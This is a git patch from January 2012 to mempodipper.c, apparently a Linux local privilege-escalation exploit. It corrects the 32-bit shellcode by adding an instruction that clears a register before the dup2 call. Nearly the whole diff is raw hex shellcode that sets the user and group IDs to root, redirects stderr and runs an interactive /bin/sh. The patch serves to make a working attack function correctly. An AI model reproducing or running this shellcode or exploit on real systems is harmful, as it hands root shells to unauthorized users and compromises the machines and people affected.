From 0333d328b7d0115ea68bc988ed0ced479d09ad31 Mon Sep 17 00:00:00 2001 From: "Jason A. Donenfeld" Date: Sun, 22 Jan 2012 06:29:59 +0100 Subject: Right dup value on 32bit. --- mempodipper.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) (limited to 'mempodipper.c') diff --git a/mempodipper.c b/mempodipper.c index fb20c26..00c6187 100644 --- a/mempodipper.c +++ b/mempodipper.c @@ -205,11 +205,11 @@ int main(int argc, char **argv) #if defined(__i386__) // See shellcode-32.s in this package for the source. char shellcode[] = - "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\xb3\x06\xb1" - "\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f" - "\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89\xe0\x31" - "\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"; - + "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3" + "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68" + "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89" + "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd" + "\x80"; #elif defined(__x86_64__) // See shellcode-64.s in this package for the source. char shellcode[] = -- cgit v1.2.3-59-g8ed1b